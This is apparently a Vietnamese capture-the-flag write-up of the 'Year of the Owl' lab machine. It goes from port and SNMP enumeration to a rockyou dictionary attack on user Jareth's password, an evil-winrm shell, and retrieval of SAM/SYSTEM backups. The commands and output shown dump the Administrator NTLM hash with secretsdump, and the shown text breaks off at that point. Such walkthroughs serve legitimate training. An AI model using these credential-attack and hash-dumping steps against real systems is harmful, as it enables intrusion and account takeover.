Icon

Year of the Owl

The foolish owl sits on his throne...

November 4, 2025 August 29, 2025 Hard
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Chúng ta thêm dòng này vào trong file /etc/hosts để ánh xạ domain name.

10.201.104.162 owl.thm

Service Scanning (TCP)

┌──(kali㉿kali)-[~]
└─$ rustscan -a owl.thm -r 1-65535 -- -sV -sC

PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 124 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10)
|_http-title: Year of the Owl
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.10
139/tcp   open  netbios-ssn   syn-ack ttl 124 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      syn-ack ttl 124 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.10
| tls-alpn: 
|_  http/1.1
|_http-title: Year of the Owl
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
| SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 124
3306/tcp  open  mysql         syn-ack ttl 124 MariaDB 10.3.24 or later (unauthorized)
3389/tcp  open  ms-wbt-server syn-ack ttl 124 Microsoft Terminal Services
|_ssl-date: 2025-08-29T13:00:46+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=year-of-the-owl
| Issuer: commonName=year-of-the-owl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-28T12:47:29
| Not valid after:  2026-02-27T12:47:29
| MD5:   8110:2201:6380:4990:3fd8:4946:de48:372d
| SHA-1: a2d9:119f:aef5:54cd:639d:4afa:833b:ea09:0b0f:c0ed
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQJpAYGUFy7I9PNRxLN1KnwTANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw95ZWFyLW9mLXRoZS1vd2wwHhcNMjUwODI4MTI0NzI5WhcNMjYw
| MjI3MTI0NzI5WjAaMRgwFgYDVQQDEw95ZWFyLW9mLXRoZS1vd2wwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtjHYSBVLVJIA13gvhpzyD16B66Md9ZMfX
| wq1O1OTml0zCR43tNNdQ/jWdeZp/1e46SVxL//moBecQymHIncULdDEJ3lCiGD5P
| mk/dZ/BWgJOzym4CakhdC1FrSXkn4dptes2H98xTwMOUZocZaE12Q3KafG5aARB2
| LDkTwz2q4+uVIfofhanVRvkFBFggKe4kd5wLEC+GAluoGQV/YaKu8C6CYgaUtHxY
| yNvrZrJOGCPJ2GZSsqXKAHmf8BHS8//ZEq3lmzAhT1uA9f6WwsT7yMLXRBl3k078
| +ufEMOl85NVeGZwAEeKl53cBUGl3pi7Yw+BHcGyXgn6G/7pveFM1AgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAqhgYq+Td2htSEKZovzwrGHAWL46XqUlAZSugH1L3Y7nG+yu0vFMfKJBQ
| wFIvjm2fAC9Jz5hHYlRjFKA6wyEnNMRSsgTIoui272StfJtcN3aka6HI+8GTDgUl
| ArM462xve+k1LRc1AdTRpR94BFH3j0IUy+Y33bunY2UPU4yMIc2cM8CZv0yAAjzl
| cGR69nrwMTHZLyin/lLzQAiAaOdL1Kaq9TkDyctXoVUV315+CfrBvJorZ4aoCZpa
| AZp46iy0Dc8m7jMeU+Lxic3oFprz3Ar53/odoTCgtoonQJS/s1ML0toYKpKUOLPd
| CgpWEZ82S9TM4gSYy8XdL6aP+0/WKw==
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: YEAR-OF-THE-OWL
|   NetBIOS_Domain_Name: YEAR-OF-THE-OWL
|   NetBIOS_Computer_Name: YEAR-OF-THE-OWL
|   DNS_Domain_Name: year-of-the-owl
|   DNS_Computer_Name: year-of-the-owl
|   Product_Version: 10.0.17763
|_  System_Time: 2025-08-29T13:00:03+00:00
5985/tcp  open  http          syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Kết quả scan cho thấy máy target đang chạy hệ điều hành là Windows. Port 80 và 443 đang chạy Apache 2.4.46 trên PHP 7.4.10. Ngoài ra còn có dịch vụ SMB trên port 139 và 445, MySQL trên port 3306, RDP trên port 3389. Máy cũng lắng nghe trên WinRM (port 5985 và 47001).

HTTP 80/TCP

image

Trang chính của website không chứa thông tin gì đáng chú ý.

Directory Enumeration

Bây giờ ta thử quét tìm nội dung ẩn bằng ffuf.

┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://owl.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 128

image

Tuy nhiên, chúng ta không phát hiện được gì ngoài file index.php.

HTTPS 443/TCP

Máy chủ HTTPS port 443 trông giống hệt HTTP port 80, và chúng ta cũng không thấy thông tin hữu ích nào.

image

Directory Enumeration

┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u https://owl.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 128

image

Vậy có thể không tồn tại attack vector thông qua các website này.

SMB 139/TCP, 445/TCP

Tiếp theo, ta chuyển sang enumerate SMB server bằng các script của nmap.

┌──(kali㉿kali)-[~]
└─$ ls -la /usr/share/nmap/scripts/ | grep smb-enum                                                                                                          
-rw-r--r-- 1 root root  4840 May 15 22:37 smb-enum-domains.nse
-rw-r--r-- 1 root root  5971 May 15 22:37 smb-enum-groups.nse
-rw-r--r-- 1 root root  8043 May 15 22:37 smb-enum-processes.nse
-rw-r--r-- 1 root root 27274 May 15 22:37 smb-enum-services.nse
-rw-r--r-- 1 root root 12017 May 15 22:37 smb-enum-sessions.nse
-rw-r--r-- 1 root root  6923 May 15 22:37 smb-enum-shares.nse
-rw-r--r-- 1 root root 12527 May 15 22:37 smb-enum-users.nse

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p139,445 -sV --script=smb-enum* -v owl.thm

PORT    STATE SERVICE       VERSION
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds?
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Kết quả từ Nmap không cho chúng ta dữ liệu gì. Vậy ta thử dùng enum4linux, trước tiên là với null username:

image

Một null session không được cho phép. Vậy thử với username là anonymous thì sao?

image

Cũng không. Còn với username là guest thì sao?

image

Cũng không được. Vậy chúng ta sẽ bỏ qua phần này vì chưa có thông tin gì về các credentials khác trên SMB server.

MySQL 3306/TCP

┌──(kali㉿kali)-[~]
└─$ ls -la /usr/share/nmap/scripts/ | grep mysql
-rw-r--r-- 1 root root  6688 May 15 22:37 mysql-audit.nse
-rw-r--r-- 1 root root  2977 May 15 22:37 mysql-brute.nse
-rw-r--r-- 1 root root  2945 May 15 22:37 mysql-databases.nse
-rw-r--r-- 1 root root  3263 May 15 22:37 mysql-dump-hashes.nse
-rw-r--r-- 1 root root  2020 May 15 22:37 mysql-empty-password.nse
-rw-r--r-- 1 root root  3413 May 15 22:37 mysql-enum.nse
-rw-r--r-- 1 root root  3455 May 15 22:37 mysql-info.nse
-rw-r--r-- 1 root root  3714 May 15 22:37 mysql-query.nse
-rw-r--r-- 1 root root  2811 May 15 22:37 mysql-users.nse
-rw-r--r-- 1 root root  3265 May 15 22:37 mysql-variables.nse
-rw-r--r-- 1 root root  6977 May 15 22:37 mysql-vuln-cve2012-2122.nse

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p3306 -sV --script=mysql-brute,mysql-enum,mysql-info,mysql-users,mysql-databases -v owl.thm

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MariaDB 10.3.24 or later (unauthorized)
| mysql-enum: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 10 guesses in 3 seconds, average tps: 3.3
| mysql-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 15597 guesses in 600 seconds, average tps: 27.1

Đối với MySQL server cũng tương tự, chúng ta không thể làm gì thêm.

Service Scanning (UDP)

Đến thời điểm này, các dịch vụ chạy trên TCP port mà chúng ta chưa enumerate là RDP và WinRM. Tuy nhiên, chúng ta không thể tiếp tục enumerate các dịch vụ này vì chưa có credentials hoặc thậm chí username nào để thực hiện dictionary attack. Do đó, ý tưởng hợp lý lúc này là chuyển sang enumerate các UDP port.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -sU -v owl.thm

Nmap scan report for owl.thm (10.201.38.183)
Host is up.
All 1000 scanned ports on owl.thm (10.201.38.183) are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

Khi quét bằng Nmap, chúng ta thấy rằng 1000 UDP port phổ biến nhất đều ở trạng thái open hoặc filtered vì không có phản hồi nào. Ta tiếp tục quét 10 port phổ biến nhất trước.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -sU -v --top-ports 10 owl.thm

PORT     STATE         SERVICE
53/udp   open|filtered domain
67/udp   open|filtered dhcps
123/udp  open|filtered ntp
135/udp  open|filtered msrpc
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
161/udp  open|filtered snmp
445/udp  open|filtered microsoft-ds
631/udp  open|filtered ipp
1434/udp open|filtered ms-sql-m

Trong số này, chúng ta tập trung vào một số dịch vụ như: DNS (53), SNMP (161), và MSRPC (135).

DNS 53/UDP

image

Máy chủ DNS có thể không thực sự chạy hoặc firewall đang chặn chúng ta.

SNMP 161/UDP

Chúng ta dùng onesixtyone để enumerate các community string hợp lệ.

┌──(kali㉿kali)-[~]
└─$ onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt 10.201.3.222
Scanning 1 hosts, 3219 communities
10.201.3.222 [openview] Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)

Kết quả cho thấy có một community string là openview, đồng thời tiết lộ phiên bản Windows là 6.3, build 17763. Điều này hơi kỳ lạ vì version 6.3 và build 17763 thực tế không đi cùng nhau.

image

image

Tuy nhiên, build number mới là thông tin đáng tin cậy, trong khi version 6.3 chỉ là giá trị cũ được giữ lại cho mục đích tương thích ngược. Như vậy hệ điều hành thực sự phải là Windows 10 hoặc Windows Server 2019, nhưng hai hệ điều hành này gần như giống hệt nhau.

Theo HackTricks, có một loạt các giá trị MIB mà chúng ta có thể khai thác để lấy thêm thông tin quan trọng:

image

Các tiến trình của hệ thống:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v2c -c openview owl.thm 1.3.6.1.2.1.25.1.6.0                                                                                                   
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 58

Các chương trình đang chạy:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v2c -c openview owl.thm 1.3.6.1.2.1.25.4.2.1.2                                                                                                
iso.3.6.1.2.1.25.4.2.1.2.1 = STRING: "System Idle Process"
iso.3.6.1.2.1.25.4.2.1.2.4 = STRING: "System"
iso.3.6.1.2.1.25.4.2.1.2.68 = STRING: "Registry"
iso.3.6.1.2.1.25.4.2.1.2.412 = STRING: "smss.exe"
iso.3.6.1.2.1.25.4.2.1.2.568 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.572 = STRING: "csrss.exe"
iso.3.6.1.2.1.25.4.2.1.2.592 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.648 = STRING: "csrss.exe"
iso.3.6.1.2.1.25.4.2.1.2.696 = STRING: "wininit.exe"
iso.3.6.1.2.1.25.4.2.1.2.724 = STRING: "winlogon.exe"
iso.3.6.1.2.1.25.4.2.1.2.772 = STRING: "services.exe"
iso.3.6.1.2.1.25.4.2.1.2.788 = STRING: "lsass.exe"
iso.3.6.1.2.1.25.4.2.1.2.812 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.884 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.896 = STRING: "dwm.exe"
iso.3.6.1.2.1.25.4.2.1.2.900 = STRING: "fontdrvhost.exe"
iso.3.6.1.2.1.25.4.2.1.2.908 = STRING: "fontdrvhost.exe"
iso.3.6.1.2.1.25.4.2.1.2.972 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.980 = STRING: "taskhostw.exe"
iso.3.6.1.2.1.25.4.2.1.2.1056 = STRING: "WmiPrvSE.exe"
iso.3.6.1.2.1.25.4.2.1.2.1080 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1100 = STRING: "snmp.exe"
iso.3.6.1.2.1.25.4.2.1.2.1188 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1268 = STRING: "conhost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1276 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1288 = STRING: "conhost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1364 = STRING: "conhost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1372 = STRING: "MpCmdRun.exe"
iso.3.6.1.2.1.25.4.2.1.2.1376 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1416 = STRING: "LiteAgent.exe"
iso.3.6.1.2.1.25.4.2.1.2.1492 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1552 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1620 = STRING: "TrustedInstaller.exe"
iso.3.6.1.2.1.25.4.2.1.2.1652 = STRING: "amazon-ssm-agent.exe"
iso.3.6.1.2.1.25.4.2.1.2.1748 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.1760 = STRING: "httpd.exe"
iso.3.6.1.2.1.25.4.2.1.2.1856 = STRING: "httpd.exe"
iso.3.6.1.2.1.25.4.2.1.2.1880 = STRING: "spoolsv.exe"
iso.3.6.1.2.1.25.4.2.1.2.1928 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.2008 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.2036 = STRING: "MsMpEng.exe"
iso.3.6.1.2.1.25.4.2.1.2.2060 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.2092 = STRING: "mysqld.exe"
iso.3.6.1.2.1.25.4.2.1.2.2124 = STRING: "ngentask.exe"
iso.3.6.1.2.1.25.4.2.1.2.2328 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.2936 = STRING: "LogonUI.exe"
iso.3.6.1.2.1.25.4.2.1.2.3536 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.3836 = STRING: "TiWorker.exe"
iso.3.6.1.2.1.25.4.2.1.2.3928 = STRING: "NisSrv.exe"
iso.3.6.1.2.1.25.4.2.1.2.4000 = STRING: "ngen.exe"
iso.3.6.1.2.1.25.4.2.1.2.4192 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.4268 = STRING: "mscorsvw.exe"
iso.3.6.1.2.1.25.4.2.1.2.4376 = STRING: "CompatTelRunner.exe"
iso.3.6.1.2.1.25.4.2.1.2.4504 = STRING: "WmiPrvSE.exe"
iso.3.6.1.2.1.25.4.2.1.2.4524 = STRING: "msdtc.exe"
iso.3.6.1.2.1.25.4.2.1.2.4664 = STRING: "conhost.exe"
iso.3.6.1.2.1.25.4.2.1.2.4780 = STRING: "ngentask.exe"
iso.3.6.1.2.1.25.4.2.1.2.4860 = STRING: "CompatTelRunner.exe"
iso.3.6.1.2.1.25.4.2.1.2.4916 = STRING: "ngen.exe"

Các port sử dụng TCP:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v2c -c openview owl.thm 1.3.6.1.2.1.6.13.1.3
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.80.0.0.0.0.0 = INTEGER: 80
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.135.0.0.0.0.0 = INTEGER: 135
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.443.0.0.0.0.0 = INTEGER: 443
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.445.0.0.0.0.0 = INTEGER: 445
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.3306.0.0.0.0.0 = INTEGER: 3306
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.3389.0.0.0.0.0 = INTEGER: 3389
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.5985.0.0.0.0.0 = INTEGER: 5985
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.47001.0.0.0.0.0 = INTEGER: 47001
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.49664.0.0.0.0.0 = INTEGER: 49664
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.49665.0.0.0.0.0 = INTEGER: 49665
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.49667.0.0.0.0.0 = INTEGER: 49667
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.49668.0.0.0.0.0 = INTEGER: 49668
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.49669.0.0.0.0.0 = INTEGER: 49669
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.49671.0.0.0.0.0 = INTEGER: 49671
iso.3.6.1.2.1.6.13.1.3.10.201.3.222.139.0.0.0.0.0 = INTEGER: 139
iso.3.6.1.2.1.6.13.1.3.10.201.3.222.49980.74.179.77.204.443 = INTEGER: 49980

Các user trên target:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v2c -c openview owl.thm 1.3.6.1.4.1.77.1.2.25
iso.3.6.1.4.1.77.1.2.25.1.1.5.71.117.101.115.116 = STRING: "Guest"
iso.3.6.1.4.1.77.1.2.25.1.1.6.74.97.114.101.116.104 = STRING: "Jareth"
iso.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.97.116.111.114 = STRING: "Administrator"
iso.3.6.1.4.1.77.1.2.25.1.1.14.68.101.102.97.117.108.116.65.99.99.111.117.110.116 = STRING: "DefaultAccount"
iso.3.6.1.4.1.77.1.2.25.1.1.18.87.68.65.71.85.116.105.108.105.116.121.65.99.99.111.117.110.116 = STRING: "WDAGUtilityAccount"

Chúng ta phát hiện ra một user không mặc định có tên là Jareth.

Thay vì dùng snmpwalk, chúng ta có thể sử dụng snmp-check để tự động dump toàn bộ thông tin cho chúng ta.

┌──(kali㉿kali)-[~]
└─$ snmp-check 10.201.3.222 -p 161 -c openview

image

image

Từ đây, chúng ta có cái nhìn rõ ràng hơn về các TCP và UDP port đang mở.

Vậy tại sao chúng ta không thử thực hiện dictionary attack vào mật khẩu của Jareth trên dịch vụ SMB? Việc này có thể thực hiện bằng crackmapexec:

┌──(hungnt㉿kali)-[~/Documents]
└─$ crackmapexec smb owl.thm -u Jareth -p /usr/share/wordlists/rockyou.txt

image

Kết quả là chúng ta đã lấy được mật khẩu của Jarethsarah.

Vì dịch vụ WinRM đang chạy, chúng ta có thể dùng evil-winrm để có được kết nối remote powershell.

5985/tcp  open  http          syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

Nhưng trước tiên, ta cần xác nhận rằng credentials này hợp lệ trên dịch vụ WinRM bằng cách chạy whoami.

image

Shell as Jareth

image

Chúng ta đã thành công truy cập vào hệ thống với tư cách của user Jareth.

user.txt

*Evil-WinRM* PS C:\Users\Jareth\Documents> cd ..
*Evil-WinRM* PS C:\Users\Jareth> dir


    Directory: C:\Users\Jareth


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/18/2020   2:14 AM                3D Objects
d-r---        9/18/2020   2:14 AM                Contacts
d-r---        9/18/2020   2:20 AM                Desktop
d-r---        9/18/2020   2:14 AM                Documents
d-r---        9/18/2020   2:14 AM                Downloads
d-r---        9/18/2020   2:14 AM                Favorites
d-r---        9/18/2020   2:14 AM                Links
d-r---        9/18/2020   2:14 AM                Music
d-r---        9/18/2020   2:14 AM                Pictures
d-r---        9/18/2020   2:14 AM                Saved Games
d-r---        9/18/2020   2:14 AM                Searches
d-r---        9/18/2020   2:14 AM                Videos


*Evil-WinRM* PS C:\Users\Jareth> cd Desktop
*Evil-WinRM* PS C:\Users\Jareth\Desktop> dir


    Directory: C:\Users\Jareth\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2020   2:21 AM             80 user.txt


*Evil-WinRM* PS C:\Users\Jareth\Desktop> cat user.txt
THM{Y2I0NDJjODY2NTc2YmI2Y2U4M2IwZTBl}

Chúng ta chạy lệnh tree để liệt kê toàn bộ thư mục C:\Users và xem có gì đáng chú ý không:

image

Manual Enumeration

System Information

image

Kết quả cho thấy hệ điều hành chính xác là Windows Server 2019, build 1809.

User Information

image

User hiện tại không có bất kỳ quyền hạn hữu ích nào.

Protection

image

User cũng không được phép xem trạng thái hiện tại của Windows Defender.

Processes

image

Không có tiến trình nào thực sự đáng chú ý ở đây.

WinPEAS

Chúng ta sẽ chuyển WinPEAS sang máy target để enumerate các vector leo quyền.

image

image

Kết quả không có gì đặc biệt ngoài việc hệ thống không cài đặt AV.

image

SAM/SYSTEM Backup Files

Chúng ta nên đi vào thư mục gốc của ổ C để xem có gì thú vị không, đồng thời liệt kê cả những mục ẩn.

*Evil-WinRM* PS C:\Users\Jareth> cd C:\
*Evil-WinRM* PS C:\> ls -Force


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        9/18/2020   2:14 AM                $Recycle.Bin
d--hsl        9/17/2020   7:27 PM                Documents and Settings
d-----        9/18/2020   2:04 AM                PerfLogs
d-r---        9/17/2020   7:39 PM                Program Files
d-----        9/17/2020   7:39 PM                Program Files (x86)
d--h--        9/18/2020   2:04 AM                ProgramData
d--hs-        9/17/2020   7:27 PM                Recovery
d--hs-        9/17/2020   7:26 PM                System Volume Information
d-r---        9/18/2020   2:14 AM                Users
d-----       11/13/2020  10:33 PM                Windows
d-----        9/17/2020   8:18 PM                xampp
-a-hs-         9/5/2025   9:34 AM     1207959552 pagefile.sys

Chúng ta cũng nên kiểm tra xem trong Recycle Bin có gì còn sót lại không:

*Evil-WinRM* PS C:\> cd "`$Recycle.Bin"
*Evil-WinRM* PS C:\$Recycle.Bin> dir
*Evil-WinRM* PS C:\$Recycle.Bin> ls -Force


    Directory: C:\$Recycle.Bin


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        9/18/2020   7:28 PM                S-1-5-21-1987495829-1628902820-919763334-1001
d--hs-       11/13/2020  10:41 PM                S-1-5-21-1987495829-1628902820-919763334-500

Và đúng là có gì đó ở đây:

*Evil-WinRM* PS C:\$Recycle.Bin> ls S-1-5-21-1987495829-1628902820-919763334-1001 -Force


    Directory: C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-        9/18/2020   2:14 AM            129 desktop.ini
-a----        9/18/2020   7:28 PM          49152 sam.bak
-a----        9/18/2020   7:28 PM       17457152 system.bak


*Evil-WinRM* PS C:\$Recycle.Bin> ls S-1-5-21-1987495829-1628902820-919763334-500 -Force
Access to the path 'C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-500' is denied.
At line:1 char:1
+ ls S-1-5-21-1987495829-1628902820-919763334-500 -Force
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\$Recycle.Bin...0-919763334-500:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

Chúng ta phát hiện các bản backup của SAM hive và SYSTEM hive nằm trong C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001. SAM lưu trữ thông tin tài khoản local user, bao gồm cả password hash (NTLM), trong khi SYSTEM chứa dữ liệu cấu hình hệ thống, trong đó có Boot Key – một khóa bí mật cần thiết để giải mã password hash trong SAM.

Chúng ta chỉ có thể liệt kê được thư mục này vì đây là SID của user hiện tại:

*Evil-WinRM* PS C:\$Recycle.Bin> cd S-1-5-21-1987495829-1628902820-919763334-1001
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> dir


    Directory: C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/18/2020   7:28 PM          49152 sam.bak
-a----        9/18/2020   7:28 PM       17457152 system.bak

Ta download các file backup này về máy của chúng ta và trích xuất NTLM hash.

image

Vì một số lý do, evil-winrm không xử lý được đường dẫn file này. Vậy nên để giải quyết, chúng ta có thể copy các file này sang một thư mục khác rồi sau đó mới download.

*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> Copy-Item -LiteralPath '.\sam.bak' -Destination 'C:\Users\Jareth\sam.bak' -Force
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> Copy-Item -LiteralPath '.\system.bak' -Destination 'C:\Users\Jareth\system.bak' -Force
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> cd ~
*Evil-WinRM* PS C:\Users\Jareth> ls


    Directory: C:\Users\Jareth


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/18/2020   2:14 AM                3D Objects
d-r---        9/18/2020   2:14 AM                Contacts
d-r---        9/18/2020   2:20 AM                Desktop
d-r---        9/18/2020   2:14 AM                Documents
d-r---        9/18/2020   2:14 AM                Downloads
d-r---        9/18/2020   2:14 AM                Favorites
d-r---        9/18/2020   2:14 AM                Links
d-r---        9/18/2020   2:14 AM                Music
d-r---        9/18/2020   2:14 AM                Pictures
d-r---        9/18/2020   2:14 AM                Saved Games
d-r---        9/18/2020   2:14 AM                Searches
d-r---        9/18/2020   2:14 AM                Videos
-a----        9/18/2020   7:28 PM          49152 sam.bak
-a----        9/18/2020   7:28 PM       17457152 system.bak
-a----         9/5/2025  10:32 AM       10156032 winpeas.exe
*Evil-WinRM* PS C:\Users\Jareth> download sam.bak sam.bak
                                        
Info: Downloading C:\Users\Jareth\sam.bak to sam.bak
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\Jareth> download system.bak system.bak
                                        
Info: Downloading C:\Users\Jareth\system.bak to system.bak
                                        
Info: Download successful!

Tiếp theo, chúng ta dùng secretsdump của Impacket để trích xuất NTLM hash.

┌──(hungnt㉿kali)-[~/Documents]
└─$ /usr/bin/impacket-secretsdump -sam sam.bak -system system.bak LOCAL                                                                                      
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xd676472afd9cc13ac271e26890b87a8c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6bc99ede9edcfecf9662fb0c0ddcfa7a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:39a21b273f0cfd3d1541695564b4511b:::
